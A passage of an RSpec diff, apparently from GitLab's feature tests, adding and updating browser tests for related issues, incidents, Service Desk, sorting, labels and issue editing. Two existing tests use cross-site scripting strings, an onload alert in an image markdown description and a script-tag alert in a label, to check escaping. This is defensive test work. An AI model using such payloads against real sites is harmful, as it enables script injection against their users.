expect(container).not_to have_selector('.reopen-item')
end
- it 'changes the button when an item is selected' do
- button = container.find('.issuable-close-button')
-
- container.find('.dropdown-toggle').click
- container.find('.report-item').click
-
- expect(container).not_to have_selector('.dropdown-menu')
- expect(button).to have_content('Report abuse')
-
+ it 'links to Report Abuse' do
container.find('.dropdown-toggle').click
- container.find('.close-item').click
+ container.find('.report-abuse-link').click
- expect(button).to have_content("Close #{human_model_name}")
+ expect(page).to have_content('Report abuse to admin')
end
end
diff --git a/spec/features/issuables/issuable_list_spec.rb b/spec/features/issuables/issuable_list_spec.rb
index 7790d8f1c4c..b1ffaaa7c7e 100644
--- a/spec/features/issuables/issuable_list_spec.rb
+++ b/spec/features/issuables/issuable_list_spec.rb
@@ -51,8 +51,8 @@ RSpec.describe 'issuable list', :js do
it "counts merge requests closing issues icons for each issue" do
visit_issuable_list(:issue)
- expect(page).to have_selector('.icon-merge-request-unmerged', count: 1)
- expect(first('.icon-merge-request-unmerged').find(:xpath, '..')).to have_content(1)
+ expect(page).to have_selector('[data-testid="merge-requests"]', count: 1)
+ expect(first('[data-testid="merge-requests"]').find(:xpath, '..')).to have_content(1)
end
def visit_issuable_list(issuable_type)
diff --git a/spec/features/issuables/related_issues_spec.rb b/spec/features/issuables/related_issues_spec.rb
new file mode 100644
index 00000000000..837859bbe26
--- /dev/null
+++ b/spec/features/issuables/related_issues_spec.rb
@@ -0,0 +1,400 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Related issues', :js do
+ let(:user) { create(:user) }
+ let(:project) { create(:project_empty_repo, :public) }
+ let(:project_b) { create(:project_empty_repo, :public) }
+ let(:project_unauthorized) { create(:project_empty_repo, :public) }
+ let(:issue_a) { create(:issue, project: project) }
+ let(:issue_b) { create(:issue, project: project) }
+ let(:issue_c) { create(:issue, project: project) }
+ let(:issue_d) { create(:issue, project: project) }
+ let(:issue_project_b_a) { create(:issue, project: project_b) }
+ let(:issue_project_unauthorized_a) { create(:issue, project: project_unauthorized) }
+
+ context 'widget visibility' do
+ context 'when not logged in' do
+ it 'does not show widget when internal project' do
+ project = create :project_empty_repo, :internal
+ issue = create :issue, project: project
+
+ visit project_issue_path(project, issue)
+
+ expect(page).not_to have_css('.related-issues-block')
+ end
+
+ it 'does not show widget when private project' do
+ project = create :project_empty_repo, :private
+ issue = create :issue, project: project
+
+ visit project_issue_path(project, issue)
+
+ expect(page).not_to have_css('.related-issues-block')
+ end
+
+ it 'shows widget when public project' do
+ project = create :project_empty_repo, :public
+ issue = create :issue, project: project
+
+ visit project_issue_path(project, issue)
+
+ expect(page).to have_css('.related-issues-block')
+ expect(page).not_to have_selector('.js-issue-count-badge-add-button')
+ end
+ end
+
+ context 'when logged in but not a member' do
+ before do
+ gitlab_sign_in(user)
+ end
+
+ it 'shows widget when internal project' do
+ project = create :project_empty_repo, :internal
+ issue = create :issue, project: project
+
+ visit project_issue_path(project, issue)
+
+ expect(page).to have_css('.related-issues-block')
+ expect(page).not_to have_selector('.js-issue-count-badge-add-button')
+ end
+
+ it 'does not show widget when private project' do
+ project = create :project_empty_repo, :private
+ issue = create :issue, project: project
+
+ visit project_issue_path(project, issue)
+
+ expect(page).not_to have_css('.related-issues-block')
+ end
+
+ it 'shows widget when public project' do
+ project = create :project_empty_repo, :public
+ issue = create :issue, project: project
+
+ visit project_issue_path(project, issue)
+
+ expect(page).to have_css('.related-issues-block')
+ expect(page).not_to have_selector('.js-issue-count-badge-add-button')
+ end
+
+ it 'shows widget on their own public issue' do
+ project = create :project_empty_repo, :public
+ issue = create :issue, project: project, author: user
+
+ visit project_issue_path(project, issue)
+
+ expect(page).to have_css('.related-issues-block')
+ expect(page).not_to have_selector('.js-issue-count-badge-add-button')
+ end
+ end
+
+ context 'when logged in and a guest' do
+ before do
+ gitlab_sign_in(user)
+ end
+
+ it 'shows widget when internal project' do
+ project = create :project_empty_repo, :internal
+ issue = create :issue, project: project
+ project.add_guest(user)
+
+ visit project_issue_path(project, issue)
+
+ expect(page).to have_css('.related-issues-block')
+ expect(page).not_to have_selector('.js-issue-count-badge-add-button')
+ end
+
+ it 'shows widget when private project' do
+ project = create :project_empty_repo, :private
+ issue = create :issue, project: project
+ project.add_guest(user)
+
+ visit project_issue_path(project, issue)
+
+ expect(page).to have_css('.related-issues-block')
+ expect(page).not_to have_selector('.js-issue-count-badge-add-button')
+ end
+
+ it 'shows widget when public project' do
+ project = create :project_empty_repo, :public
+ issue = create :issue, project: project
+ project.add_guest(user)
+
+ visit project_issue_path(project, issue)
+
+ expect(page).to have_css('.related-issues-block')
+ expect(page).not_to have_selector('.js-issue-count-badge-add-button')
+ end
+ end
+
+ context 'when logged in and a reporter' do
+ before do
+ gitlab_sign_in(user)
+ end
+
+ it 'shows widget when internal project' do
+ project = create :project_empty_repo, :internal
+ issue = create :issue, project: project
+ project.add_reporter(user)
+
+ visit project_issue_path(project, issue)
+
+ expect(page).to have_css('.related-issues-block')
+ expect(page).to have_selector('.js-issue-count-badge-add-button')
+ end
+
+ it 'shows widget when private project' do
+ project = create :project_empty_repo, :private
+ issue = create :issue, project: project
+ project.add_reporter(user)
+
+ visit project_issue_path(project, issue)
+
+ expect(page).to have_css('.related-issues-block')
+ expect(page).to have_selector('.js-issue-count-badge-add-button')
+ end
+
+ it 'shows widget when public project' do
+ project = create :project_empty_repo, :public
+ issue = create :issue, project: project
+ project.add_reporter(user)
+
+ visit project_issue_path(project, issue)
+
+ expect(page).to have_css('.related-issues-block')
+ expect(page).to have_selector('.js-issue-count-badge-add-button')
+ end
+
+ it 'shows widget on their own public issue' do
+ project = create :project_empty_repo, :public
+ issue = create :issue, project: project, author: user
+ project.add_reporter(user)
+
+ visit project_issue_path(project, issue)
+
+ expect(page).to have_css('.related-issues-block')
+ expect(page).to have_selector('.js-issue-count-badge-add-button')
+ end
+ end
+ end
+
+ context 'when user has no permission to manage related issues' do
+ let!(:issue_link_b) { create :issue_link, source: issue_a, target: issue_b }
+ let!(:issue_link_c) { create :issue_link, source: issue_a, target: issue_c }
+
+ before do
+ project.add_guest(user)
+ gitlab_sign_in(user)
+ end
+
+ context 'visiting some issue someone else created' do
+ before do
+ visit project_issue_path(project, issue_a)
+ wait_for_requests
+ end
+
+ it 'shows related issues count' do
+ expect(find('.js-related-issues-header-issue-count')).to have_content('2')
+ end
+ end
+
+ context 'visiting issue_b which was targeted by issue_a' do
+ before do
+ visit project_issue_path(project, issue_b)
+ wait_for_requests
+ end
+
+ it 'shows related issues count' do
+ expect(find('.js-related-issues-header-issue-count')).to have_content('1')
+ end
+ end
+ end
+
+ context 'when user has permission to manage related issues' do
+ before do
+ project.add_maintainer(user)
+ project_b.add_maintainer(user)
+ gitlab_sign_in(user)
+ end
+
+ context 'without existing related issues' do
+ before do
+ visit project_issue_path(project, issue_a)
+ wait_for_requests
+ end
+
+ it 'shows related issues count' do
+ expect(find('.js-related-issues-header-issue-count')).to have_content('0')
+ end
+
+ it 'add related issue' do
+ find('.js-issue-count-badge-add-button').click
+ find('.js-add-issuable-form-input').set "#{issue_b.to_reference(project)} "
+ find('.js-add-issuable-form-add-button').click
+
+ wait_for_requests
+
+ items = all('.item-title a')
+
+ # Form gets hidden after submission
+ expect(page).not_to have_selector('.js-add-related-issues-form-area')
+ # Check if related issues are present
+ expect(items.count).to eq(1)
+ expect(items[0].text).to eq(issue_b.title)
+ expect(find('.js-related-issues-header-issue-count')).to have_content('1')
+ end
+
+ it 'add cross-project related issue' do
+ find('.js-issue-count-badge-add-button').click
+ find('.js-add-issuable-form-input').set "#{issue_project_b_a.to_reference(project)} "
+ find('.js-add-issuable-form-add-button').click
+
+ wait_for_requests
+
+ items = all('.item-title a')
+
+ expect(items.count).to eq(1)
+ expect(items[0].text).to eq(issue_project_b_a.title)
+ expect(find('.js-related-issues-header-issue-count')).to have_content('1')
+ end
+
+ it 'pressing enter should submit the form' do
+ find('.js-issue-count-badge-add-button').click
+ find('.js-add-issuable-form-input').set "#{issue_project_b_a.to_reference(project)} "
+ find('.js-add-issuable-form-input').native.send_key(:enter)
+
+ wait_for_requests
+
+ items = all('.item-title a')
+
+ expect(items.count).to eq(1)
+ expect(items[0].text).to eq(issue_project_b_a.title)
+ expect(find('.js-related-issues-header-issue-count')).to have_content('1')
+ end
+
+ it 'disallows duplicate entries' do
+ find('.js-issue-count-badge-add-button').click
+ find('.js-add-issuable-form-input').set 'duplicate duplicate duplicate'
+
+ items = all('.js-add-issuable-form-token-list-item')
+ expect(items.count).to eq(1)
+ expect(items[0].text).to eq('duplicate')
+
+ # Pending issues aren't counted towards the related issue count
+ expect(find('.js-related-issues-header-issue-count')).to have_content('0')
+ end
+
+ it 'allows us to remove pending issues' do
+ # Tests against https://gitlab.com/gitlab-org/gitlab/issues/11625
+ find('.js-issue-count-badge-add-button').click
+ find('.js-add-issuable-form-input').set 'issue1 issue2 issue3 '
+
+ items = all('.js-add-issuable-form-token-list-item')
+ expect(items.count).to eq(3)
+ expect(items[0].text).to eq('issue1')
+ expect(items[1].text).to eq('issue2')
+ expect(items[2].text).to eq('issue3')
+
+ # Remove pending issues left to right to make sure none get stuck
+ items[0].find('.js-issue-token-remove-button').click
+ items = all('.js-add-issuable-form-token-list-item')
+ expect(items.count).to eq(2)
+ expect(items[0].text).to eq('issue2')
+ expect(items[1].text).to eq('issue3')
+
+ items[0].find('.js-issue-token-remove-button').click
+ items = all('.js-add-issuable-form-token-list-item')
+ expect(items.count).to eq(1)
+ expect(items[0].text).to eq('issue3')
+
+ items[0].find('.js-issue-token-remove-button').click
+ items = all('.js-add-issuable-form-token-list-item')
+ expect(items.count).to eq(0)
+ end
+ end
+
+ context 'with existing related issues' do
+ let!(:issue_link_b) { create :issue_link, source: issue_a, target: issue_b }
+ let!(:issue_link_c) { create :issue_link, source: issue_a, target: issue_c }
+
+ before do
+ visit project_issue_path(project, issue_a)
+ wait_for_requests
+ end
+
+ it 'shows related issues count' do
+ expect(find('.js-related-issues-header-issue-count')).to have_content('2')
+ end
+
+ it 'shows related issues' do
+ items = all('.item-title a')
+
+ expect(items.count).to eq(2)
+ expect(items[0].text).to eq(issue_b.title)
+ expect(items[1].text).to eq(issue_c.title)
+ end
+
+ it 'allows us to remove a related issues' do
+ items_before = all('.item-title a')
+
+ expect(items_before.count).to eq(2)
+
+ first('.js-issue-item-remove-button').click
+
+ wait_for_requests
+
+ items_after = all('.item-title a')
+
+ expect(items_after.count).to eq(1)
+ end
+
+ it 'add related issue' do
+ find('.js-issue-count-badge-add-button').click
+ find('.js-add-issuable-form-input').set "##{issue_d.iid} "
+ find('.js-add-issuable-form-add-button').click
+
+ wait_for_requests
+
+ items = all('.item-title a')
+
+ expect(items.count).to eq(3)
+ expect(items[0].text).to eq(issue_b.title)
+ expect(items[1].text).to eq(issue_c.title)
+ expect(items[2].text).to eq(issue_d.title)
+ expect(find('.js-related-issues-header-issue-count')).to have_content('3')
+ end
+
+ it 'add invalid related issue' do
+ find('.js-issue-count-badge-add-button').click
+ find('.js-add-issuable-form-input').set "#9999999 "
+ find('.js-add-issuable-form-add-button').click
+
+ wait_for_requests
+
+ items = all('.item-title a')
+
+ expect(items.count).to eq(2)
+ expect(items[0].text).to eq(issue_b.title)
+ expect(items[1].text).to eq(issue_c.title)
+ expect(find('.js-related-issues-header-issue-count')).to have_content('2')
+ end
+
+ it 'add unauthorized related issue' do
+ find('.js-issue-count-badge-add-button').click
+ find('.js-add-issuable-form-input').set "#{issue_project_unauthorized_a.to_reference(project)} "
+ find('.js-add-issuable-form-add-button').click
+
+ wait_for_requests
+
+ items = all('.item-title a')
+
+ expect(items.count).to eq(2)
+ expect(items[0].text).to eq(issue_b.title)
+ expect(items[1].text).to eq(issue_c.title)
+ expect(find('.js-related-issues-header-issue-count')).to have_content('2')
+ end
+ end
+ end
+end
diff --git a/spec/features/issuables/sorting_list_spec.rb b/spec/features/issuables/sorting_list_spec.rb
index ff92fe369d4..d065e96885c 100644
--- a/spec/features/issuables/sorting_list_spec.rb
+++ b/spec/features/issuables/sorting_list_spec.rb
@@ -10,10 +10,6 @@ RSpec.describe 'Sort Issuable List' do
let(:first_updated_issuable) { issuables.order_updated_asc.first }
let(:last_updated_issuable) { issuables.order_updated_desc.first }
- before do
- stub_feature_flags(vue_issuables_list: false)
- end
-
context 'for merge requests' do
include MergeRequestHelpers
@@ -147,7 +143,7 @@ RSpec.describe 'Sort Issuable List' do
let(:issuable_type) { :issue }
it 'is "created date"' do
- visit_issues_with_state(project, 'open')
+ visit_issues_with_state(project, 'opened')
expect(find('.filter-dropdown-container')).to have_content('Created date')
expect(first_issue).to include(last_created_issuable.title)
@@ -179,11 +175,11 @@ RSpec.describe 'Sort Issuable List' do
end
end
- context 'when the sort in the URL is id_desc' do
+ context 'when the sort in the URL is created_date', :js do
let(:issuable_type) { :issue }
before do
- visit_issues(project, sort: 'id_desc')
+ visit_issues(project, sort: 'created_date')
end
it 'shows the sort order as created date' do
@@ -194,11 +190,11 @@ RSpec.describe 'Sort Issuable List' do
end
end
- context 'custom sorting' do
+ context 'custom sorting', :js do
let(:issuable_type) { :issue }
it 'supports sorting in asc and desc order' do
- visit_issues_with_state(project, 'open')
+ visit_issues_with_state(project, 'opened')
page.within('.filter-dropdown-container') do
click_button('Created date')
diff --git a/spec/features/issues/gfm_autocomplete_spec.rb b/spec/features/issues/gfm_autocomplete_spec.rb
index 3757985f99c..0165fba9ace 100644
--- a/spec/features/issues/gfm_autocomplete_spec.rb
+++ b/spec/features/issues/gfm_autocomplete_spec.rb
@@ -763,6 +763,29 @@ RSpec.describe 'GFM autocomplete', :js do
end
end
+ shared_examples 'autocomplete suggestions' do
+ it 'suggests objects correctly' do
+ page.within '.timeline-content-form' do
+ find('#note-body').native.send_keys(object.class.reference_prefix)
+ end
+
+ page.within '.tribute-container' do
+ expect(page).to have_content(object.title)
+
+ find('ul li').click
+ end
+
+ expect(find('.new-note #note-body').value).to include(expected_body)
+ end
+ end
+
+ context 'merge requests' do
+ let(:object) { create(:merge_request, source_project: project) }
+ let(:expected_body) { object.to_reference }
+
+ it_behaves_like 'autocomplete suggestions'
+ end
+
context 'when other notes are destroyed' do
let!(:discussion) { create(:discussion_note_on_issue, noteable: issue, project: issue.project) }
diff --git a/spec/features/issues/group_label_sidebar_spec.rb b/spec/features/issues/group_label_sidebar_spec.rb
index e6a173f4589..8150f9c6faf 100644
--- a/spec/features/issues/group_label_sidebar_spec.rb
+++ b/spec/features/issues/group_label_sidebar_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'Group label on issue' do
- it 'renders link to the project issues page' do
+ it 'renders link to the project issues page', :js do
group = create(:group)
project = create(:project, :public, namespace: group)
feature = create(:group_label, group: group, title: 'feature')
@@ -14,6 +14,6 @@ RSpec.describe 'Group label on issue' do
link = find('.issuable-show-labels a')
- expect(link[:href]).to eq(label_link)
+ expect(CGI.unescape(link[:href])).to include(CGI.unescape(label_link))
end
end
diff --git a/spec/features/issues/incident_issue_spec.rb b/spec/features/issues/incident_issue_spec.rb
new file mode 100644
index 00000000000..d004ee85dd8
--- /dev/null
+++ b/spec/features/issues/incident_issue_spec.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Incident Detail', :js do
+ context 'when user displays the incident' do
+ it 'shows the incident tabs' do
+ project = create(:project, :public)
+ incident = create(:incident, project: project, description: 'hello')
+
+ visit project_issue_path(project, incident)
+ wait_for_requests
+
+ page.within('.issuable-details') do
+ incident_tabs = find('[data-testid="incident-tabs"]')
+
+ expect(find('h2')).to have_content(incident.title)
+ expect(incident_tabs).to have_content('Summary')
+ expect(incident_tabs).to have_content(incident.description)
+ end
+ end
+ end
+end
diff --git a/spec/features/issues/issue_detail_spec.rb b/spec/features/issues/issue_detail_spec.rb
index 9879703c8bf..1c8da227412 100644
--- a/spec/features/issues/issue_detail_spec.rb
+++ b/spec/features/issues/issue_detail_spec.rb
@@ -20,6 +20,19 @@ RSpec.describe 'Issue Detail', :js do
end
end
+ context 'when user displays the issue as an incident' do
+ let(:issue) { create(:incident, project: project, author: user) }
+
+ before do
+ visit project_issue_path(project, issue)
+ wait_for_requests
+ end
+
+ it 'does not show design management' do
+ expect(page).not_to have_selector('.js-design-management')
+ end
+ end
+
context 'when issue description has xss snippet' do
before do
issue.update!(description: '![xss" onload=alert(1);//](a)')
diff --git a/spec/features/issues/issue_sidebar_spec.rb b/spec/features/issues/issue_sidebar_spec.rb
index ecda80f2483..38d11ee2560 100644
--- a/spec/features/issues/issue_sidebar_spec.rb
+++ b/spec/features/issues/issue_sidebar_spec.rb
@@ -168,7 +168,7 @@ RSpec.describe 'Issue Sidebar' do
it 'escapes XSS when viewing issue labels' do
page.within('.block.labels') do
- find('.edit-link').click
+ click_on 'Edit'
expect(page).to have_content '<script>alert("xss");</script>'
end
@@ -179,7 +179,7 @@ RSpec.describe 'Issue Sidebar' do
before do
issue.update(labels: [label])
page.within('.block.labels') do
- find('.edit-link').click
+ click_on 'Edit'
end
end
@@ -286,7 +286,7 @@ RSpec.describe 'Issue Sidebar' do
end
it 'does not have a option to edit labels' do
- expect(page).not_to have_selector('.block.labels .edit-link')
+ expect(page).not_to have_selector('.block.labels .js-sidebar-dropdown-toggle')
end
context 'interacting with collapsed sidebar', :js do
diff --git a/spec/features/issues/markdown_toolbar_spec.rb b/spec/features/issues/markdown_toolbar_spec.rb
index aab9d1026f9..6dc1cbfb2d7 100644
--- a/spec/features/issues/markdown_toolbar_spec.rb
+++ b/spec/features/issues/markdown_toolbar_spec.rb
@@ -36,6 +36,6 @@ RSpec.describe 'Issue markdown toolbar', :js do
all('.toolbar-btn')[1].click
- expect(find('#note-body')[:value]).to eq("test\n*underline*\n")
+ expect(find('#note-body')[:value]).to eq("test\n_underline_\n")
end
end
diff --git a/spec/features/issues/resource_label_events_spec.rb b/spec/features/issues/resource_label_events_spec.rb
index f2c978c525e..8faec85f3df 100644
--- a/spec/features/issues/resource_label_events_spec.rb
+++ b/spec/features/issues/resource_label_events_spec.rb
@@ -35,12 +35,12 @@ RSpec.describe 'List issue resource label events', :js do
context 'when user adds label to the issue' do
def toggle_labels(labels)
page.within '.labels' do
- click_link 'Edit'
+ click_on 'Edit'
wait_for_requests
labels.each { |label| click_link label }
- click_link 'Edit'
+ click_on 'Edit'
wait_for_requests
end
end
diff --git a/spec/features/issues/service_desk_spec.rb b/spec/features/issues/service_desk_spec.rb
index 2912ac33625..1512d539dec 100644
--- a/spec/features/issues/service_desk_spec.rb
+++ b/spec/features/issues/service_desk_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'Service Desk Issue Tracker', :js do
let(:user) { create(:user) }
before do
+ # The following two conditions equate to Gitlab::ServiceDesk.supported == true
allow(Gitlab::IncomingEmail).to receive(:enabled?).and_return(true)
allow(Gitlab::IncomingEmail).to receive(:supports_wildcard?).and_return(true)
@@ -27,53 +28,7 @@ RSpec.describe 'Service Desk Issue Tracker', :js do
end
describe 'issues list' do
- context 'when service desk is misconfigured' do
- before do
- allow(Gitlab::ServiceDesk).to receive(:supported?).and_return(false)
- visit service_desk_project_issues_path(project)
- end
-
- it 'shows a message to say the configuration is incomplete' do
- expect(page).to have_css('.empty-state')
- expect(page).to have_text('Service Desk is enabled but not yet active')
- expect(page).to have_text('You must set up incoming email before it becomes active')
- expect(page).to have_link('More information', href: help_page_path('administration/incoming_email', anchor: 'set-it-up'))
- end
- end
-
- context 'when service desk has not been activated' do
- let(:project_without_service_desk) { create(:project, :private, service_desk_enabled: false) }
-
- describe 'service desk info content' do
- context 'when user has permissions to edit project settings' do
- before do
- project_without_service_desk.add_maintainer(user)
- visit service_desk_project_issues_path(project_without_service_desk)
- end
-
- it 'displays the large info box, documentation, and a button to configure' do
- aggregate_failures do
- expect(page).to have_css('.empty-state')
- expect(page).to have_link('Read more', href: help_page_path('user/project/service_desk'))
- expect(page).to have_link('Turn on Service Desk')
- end
- end
- end
-
- context 'when user does not have permission to edit project settings' do
- before do
- project_without_service_desk.add_guest(user)
- visit service_desk_project_issues_path(project_without_service_desk)
- end
-
- it 'does not show a button configure service desk' do
- expect(page).not_to have_link('Turn on Service Desk')
- end
- end
- end
- end
-
- context 'when service desk has been activated' do
+ context 'when service desk is supported' do
context 'when there are no issues' do
describe 'service desk info content' do
it 'displays the large info box, documentation, and the address' do
@@ -81,6 +36,7 @@ RSpec.describe 'Service Desk Issue Tracker', :js do
aggregate_failures do
expect(page).to have_css('.empty-state')
+ expect(page).to have_text('Use Service Desk to connect with your users')
expect(page).to have_link('Read more', href: help_page_path('user/project/service_desk'))
expect(page).not_to have_link('Turn on Service Desk')
expect(page).to have_content(project.service_desk_address)
@@ -99,6 +55,7 @@ RSpec.describe 'Service Desk Issue Tracker', :js do
it 'displays the large info box and the documentation link' do
aggregate_failures do
expect(page).to have_css('.empty-state')
+ expect(page).to have_text('Use Service Desk to connect with your users')
expect(page).to have_link('Read more', href: help_page_path('user/project/service_desk'))
expect(page).not_to have_link('Turn on Service Desk')
expect(page).not_to have_content(project.service_desk_address)
@@ -152,6 +109,55 @@ RSpec.describe 'Service Desk Issue Tracker', :js do
find('.input-token .filtered-search').native.send_key(:backspace)
expect(page).to have_selector('.js-visual-token', count: 1)
end
+
+ it 'support bot author token has been properly added' do
+ within('.filtered-search-token') do
+ expect(page).to have_selector('.name', count: 1, visible: false)
+ expect(page).to have_selector('.operator', count: 1, visible: false)
+ expect(page).to have_selector('.value-container', count: 1, visible: false)
+ end
+ end
+ end
+ end
+ end
+
+ context 'when service desk is not supported' do
+ let(:project_without_service_desk) { create(:project, :private, service_desk_enabled: false) }
+
+ before do
+ allow(Gitlab::ServiceDesk).to receive(:supported?).and_return(false)
+ visit service_desk_project_issues_path(project)
+ end
+
+ describe 'service desk info content' do
+ context 'when user has permissions to edit project settings' do
+ before do
+ project_without_service_desk.add_maintainer(user)
+ visit service_desk_project_issues_path(project_without_service_desk)
+ end
+
+ it 'informs user to setup incoming email to turn on support for Service Desk' do
+ aggregate_failures do
+ expect(page).to have_css('.empty-state')
+ expect(page).to have_text('Service Desk is not supported')
+ expect(page).to have_text('In order to enable Service Desk for your instance, you must first set up incoming email.')
+ expect(page).to have_link('More information', href: help_page_path('administration/incoming_email', anchor: 'set-it-up'))
+ end
+ end
+ end
+
+ context 'when user does not have permission to edit project settings' do
+ before do
+ project_without_service_desk.add_developer(user)
+ visit service_desk_project_issues_path(project_without_service_desk)
+ end
+
+ it 'informs user to contact an administrator to enable service desk' do
+ expect(page).to have_css('.empty-state')
+ # NOTE: here, "enabled" is not used in the sense of "ServiceDesk::Enabled?"
+ expect(page).to have_text('Service Desk is not enabled')
+ expect(page).to have_text('For help setting up the Service Desk for your instance, please contact an administrator.')
+ end
end
end
end
diff --git a/spec/features/issues/user_creates_issue_spec.rb b/spec/features/issues/user_creates_issue_spec.rb
index a2c868d0256..668b4265948 100644
--- a/spec/features/issues/user_creates_issue_spec.rb
+++ b/spec/features/issues/user_creates_issue_spec.rb
@@ -61,6 +61,10 @@ RSpec.describe "User creates issue" do
.and have_content(project.name)
expect(page).to have_selector('strong', text: 'Description')
end
+
+ it 'does not render the issue type dropdown' do
+ expect(page).not_to have_selector('.s-issuable-type-filter-dropdown-wrap')
+ end
end
context "when signed in as developer", :js do
@@ -188,6 +192,50 @@ RSpec.describe "User creates issue" do
end
end
+ context 'form create handles issue creation by default' do
+ let(:project) { create(:project) }
+
+ before do
+ visit new_project_issue_path(project)
+ end
+
+ it 'pre-fills the issue type dropdown with issue type' do
+ expect(find('.js-issuable-type-filter-dropdown-wrap .dropdown-toggle-text')).to have_content('Issue')
+ end
+
+ it 'does not hide the milestone select' do
+ expect(page).to have_selector('.qa-issuable-milestone-dropdown')
+ end
+ end
+
+ context 'form create handles incident creation' do
+ let(:project) { create(:project) }
+
+ before do
+ visit new_project_issue_path(project, { issuable_template: 'incident', issue: { issue_type: 'incident' } })
+ end
+
+ it 'pre-fills the issue type dropdown with incident type' do
+ expect(find('.js-issuable-type-filter-dropdown-wrap .dropdown-toggle-text')).to have_content('Incident')
+ end
+
+ it 'hides the epic select' do
+ expect(page).not_to have_selector('.epic-dropdown-container')
+ end
+
+ it 'hides the milestone select' do
+ expect(page).not_to have_selector('.qa-issuable-milestone-dropdown')
+ end
+
+ it 'hides the weight input' do
+ expect(page).not_to have_selector('.qa-issuable-weight-input')
+ end
+
+ it 'shows the incident help text' do
+ expect(page).to have_text('A modified issue to guide the resolution of incidents.')
+ end
+ end
+
context 'suggestions', :js do
it 'displays list of related issues' do
issue = create(:issue, project: project)
diff --git a/spec/features/issues/user_edits_issue_spec.rb b/spec/features/issues/user_edits_issue_spec.rb
index 39bf535c715..88b8e9624e2 100644
--- a/spec/features/issues/user_edits_issue_spec.rb
+++ b/spec/features/issues/user_edits_issue_spec.rb
@@ -4,13 +4,17 @@ require "spec_helper"
RSpec.describe "Issues > User edits issue", :js do
let_it_be(:project) { create(:project_empty_repo, :public) }
+ let_it_be(:project_with_milestones) { create(:project_empty_repo, :public) }
let_it_be(:user) { create(:user) }
let_it_be(:issue) { create(:issue, project: project, author: user, assignees: [user]) }
+ let_it_be(:issue_with_milestones) { create(:issue, project: project_with_milestones, author: user, assignees: [user]) }
let_it_be(:label) { create(:label, project: project) }
let_it_be(:milestone) { create(:milestone, project: project) }
+ let_it_be(:milestones) { create_list(:milestone, 25, project: project_with_milestones) }
before do
project.add_developer(user)
+ project_with_milestones.add_developer(user)
sign_in(user)
end
@@ -91,11 +95,12 @@ RSpec.describe "Issues > User edits issue", :js do
describe 'update labels' do
it 'will not send ajax request when no data is changed' do
page.within '.labels' do
- click_link 'Edit'
+ click_on 'Edit'
- find('.dropdown-menu-close', match: :first).click
+ find('.dropdown-title button').click
expect(page).not_to have_selector('.block-loading')
+ expect(page).not_to have_selector('.gl-spinner')
end
end
end
@@ -148,9 +153,7 @@ RSpec.describe "Issues > User edits issue", :js do
visit project_issue_path(project, issue2)
page.within '.assignee' do
- page.within '.value .author' do
- expect(page).to have_content user.name
- end
+ expect(page).to have_content user.name
click_link 'Edit'
click_link user.name
@@ -218,6 +221,23 @@ RSpec.describe "Issues > User edits issue", :js do
end
end
end
+
+ it 'allows user to search milestone' do
+ visit project_issue_path(project_with_milestones, issue_with_milestones)
+
+ page.within('.milestone') do
+ click_link 'Edit'
+ wait_for_requests
+ # We need to enclose search string in quotes for exact match as all the milestone titles
+ # within tests are prefixed with `My title`.
+ find('.dropdown-input-field', visible: true).send_keys "\"#{milestones[0].title}\""
+ wait_for_requests
+
+ page.within '.dropdown-content' do
+ expect(page).to have_content milestones[0].title
+ end
+ end
+ end
end
context 'by unauthorized user' do
diff --git a/spec/features/issues/user_interacts_with_awards_spec.rb b/spec/features/issues/user_interacts_with_awards_spec.rb
index 35d9db68d32..7db72f2cd05 100644
--- a/spec/features/issues/user_interacts_with_awards_spec.rb
+++ b/spec/features/issues/user_interacts_with_awards_spec.rb
@@ -184,6 +184,31 @@ RSpec.describe 'User interacts with awards' do
wait_for_requests
end
+ context 'when the issue is locked' do
+ before do
+ create(:award_emoji, awardable: issue, name: '100')
+ issue.update!(discussion_locked: true)
+
+ visit project_issue_path(project, issue)
+ wait_for_requests
+ end
+
+ it 'hides the add award button' do
+ page.within('.awards') do
+ expect(page).not_to have_css('.js-add-award')
+ end
+ end
+
+ it 'does not allow toggling existing emoji' do
+ page.within('.awards') do
+ find('gl-emoji[data-name="100"]').click
+ end
+ wait_for_requests
+
+ expect(issue.reload.award_emoji.size).to eq(1)
+ end
+ end
+
it 'adds award to issue' do
first('.js-emoji-btn').click
diff --git a/spec/features/issues/user_views_issue_spec.rb b/spec/features/issues/user_views_issue_spec.rb
index 2b610bab9f0..3f18764aa58 100644
--- a/spec/features/issues/user_views_issue_spec.rb
+++ b/spec/features/issues/user_views_issue_spec.rb
@@ -3,12 +3,16 @@
require "spec_helper"
RSpec.describe "User views issue" do
- let(:project) { create(:project_empty_repo, :public) }
- let(:user) { create(:user) }
- let(:issue) { create(:issue, project: project, description: "# Description header", author: user) }
+ let_it_be(:project) { create(:project_empty_repo, :public) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:issue) { create(:issue, project: project, description: "# Description header", author: user) }
+ let_it_be(:note) { create(:note, noteable: issue, project: project, author: user) }
- before do
+ before_all do
project.add_developer(user)
+ end
+
+ before do
sign_in(user)
visit(project_issue_path(project, issue))
@@ -37,30 +41,30 @@ RSpec.describe "User views issue" do
context 'when showing status of the author of the issue' do
it_behaves_like 'showing user status' do
- let(:user_with_status) { issue.author }
+ let(:user_with_status) { user }
end
end
context 'when showing status of a user who commented on an issue', :js do
- let!(:note) { create(:note, noteable: issue, project: project, author: user_with_status) }
-
it_behaves_like 'showing user status' do
- let(:user_with_status) { create(:user) }
+ let(:user_with_status) { user }
end
end
context 'when status message has an emoji', :js do
- let(:message) { 'My status with an emoji' }
- let(:message_emoji) { 'basketball' }
-
- let!(:note) { create(:note, noteable: issue, project: project, author: user) }
- let!(:status) { create(:user_status, user: user, emoji: 'smirk', message: "#{message} :#{message_emoji}:") }
+ let_it_be(:message) { 'My status with an emoji' }
+ let_it_be(:message_emoji) { 'basketball' }
+ let_it_be(:status) { create(:user_status, user: user, emoji: 'smirk', message: "#{message} :#{message_emoji}:") }
it 'correctly renders the emoji' do
+ wait_for_requests
+
tooltip_span = page.first(".user-status-emoji[title^='#{message}']")
tooltip_span.hover
+ wait_for_requests
+
tooltip = page.find('.tooltip .tooltip-inner')
page.within(tooltip) do
diff --git a/spec/features/jira_connect/subscriptions_spec.rb b/spec/features/jira_connect/subscriptions_spec.rb
new file mode 100644
